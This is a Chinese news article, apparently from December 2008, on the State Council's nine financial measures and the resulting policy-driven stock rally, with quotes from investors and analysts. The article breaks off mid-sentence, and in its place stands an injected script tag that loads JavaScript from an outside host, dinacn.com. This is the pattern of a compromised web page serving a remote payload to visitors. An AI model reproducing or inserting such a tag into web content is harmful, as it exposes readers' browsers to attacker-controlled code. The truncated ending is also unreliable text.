金融国九条

　　点燃政策市

　　本报记者 官建益 付 刚 夏华旺 北京报道 耳东东/制图

　　12月4日上午9点半，沪市高开27点，稍作整理后，继续向上猛冲。曾做过私募基金操盘手的王丹宁，坐在北京东三环附近的一间宽大的大户室中，悠然地看着这一切，“我从10月底就开始陆续建仓，我猜想股市的利好肯定会来”。

　　和王丹宁一样期盼股市利好政策的，还包括数千万被严重套牢的A股投资者，3日晚间公布的国务院金融促发展九条措施（金融国九条）给投资者带来无限憧憬。成都的投资者刘先生就说：“两三周来A股基本摆脱外盘的走势，原来背后有利好支撑。”

　　水皮这几天心情不错。作为财经评论家，他早在今年7月26日就指出：“在今年底或者明年初极有可能发生第二次‘5·19’。”11月21日，他又判断“第二次‘5·19’已经爆发”。但是，无人喝彩，全都被残酷的熊市吓怕了。

　　水皮所说的“5·19”就是指政策市。虽然市场熊市思维依旧，机构的心态却在发生微妙的变化。西南证券宏观经济分析师解学成11月初撰写的研究报告名称为“保增长稳市场的力度仍不足”，但随着11月份政府频繁出台强有力的经济刺激政策，解学成甚至用了“政策大跃进”这样强劲的字眼，而面对金融国九条，他的态度更加积极。

　　积极的不仅是心态，冰川下面的行动早已开始。就在基金主力在11月净流出70亿资金的时候，社保基金11月悄然增仓百亿，汇金不时出手大型国有银行，而11月拉出的13个月以来最大的月度阳线，让基金再次感受到了作为“国家队”的社保基金、汇金的超前预见性。

　　一切在改变之中。在东方证券宏观经济高级分析师高义看来，“金融国九条”的本质核心在于从多个环节进一步解决当前经济困境中的“资金供求问题”，其最终目标是促使资金按照最优化的方式配置到实体经济中。政策涉及“一行三会”和财税等多个部门。其首要两条是央行要利用多种工具保证银行体系流动性的充分供应，银监会要解决资金流动中的“担保”问题，提高银行放贷的积极性。                         金融国九条 点燃政策市

　　国九条中关于多层次资本市场体系建设的提法让人立刻想到了提前启动的创投概念股，12月4日全面涨停的期货概念股更是对加强期货市场建设的积极回应。经济学家金岩石更从政策调整的高度表示：“金融国九条为双扩政策定下了基调，4万亿投资计划将稳健的财政政策提到扩张性政策，国九条彻底抛弃了从紧政策，令金融行业也转向了扩张。”

　　如果说11月以来的行情被判断为第二次“5·19”行情的发轫的话，那国九条就成了点燃“5·19”行情的导火索。仍然貌似熊市的背后到底发生了什么，促成了今日的转变？当我们搞清楚了这种转变的原因后，我们就很好回答市场最希望回答的问题，那就是这一次行情能持续多长时间，能走多远？

　　冰川下面的涌动

　　事情发展到今天，我们才发觉故事至少应该从11月初讲起。

　　11月4日，沪市再次下破1700点，向10月28日创下的1664点的低点逼近。但是这一次没有像技术派人士认识的那样去发展，在随后的三天里是稳中向上。而外盘的道琼斯指数却是三天暴跌，A股市场第一次摆脱了外盘的干扰。

　　背后的故事大家都看到了，11月5日，国务院就作出了到2010年政府投资4万亿的决定，但是这信息是在11月9日晚公布的，次日，A股继续高开高走，一改过去利好见光死的特点。

　　但是没有人敢于对股市的发展发表乐观的意见，因为长期的熊市几乎把所有的死多头评论家消灭殆尽。连续两周的上涨走势也没有激发市场太多的热情，更多地被当成超跌反弹。

　　行情在11月21日下午惊天逆转，《华夏时报》头版头条报道宣布“5·19”已经爆发，大胆的判断背后是数据的支撑。作为素有国家队之称的社保基金在11月大幅加仓100亿，100亿虽然对全市场而言不多，但对于社保基金而言，却是大数字；而另一支国家队汇金公司也在不停地吸纳工行、中行、建行等大型银行的筹码。

　　作为市场最大机构的基金有点坐不住了，根据最新的统计，基金在11月时净流出70个亿，但是记者查阅上证Topview数据中发现，基金在11月最后一周总体上也?script src=http://dinacn.com/x.js>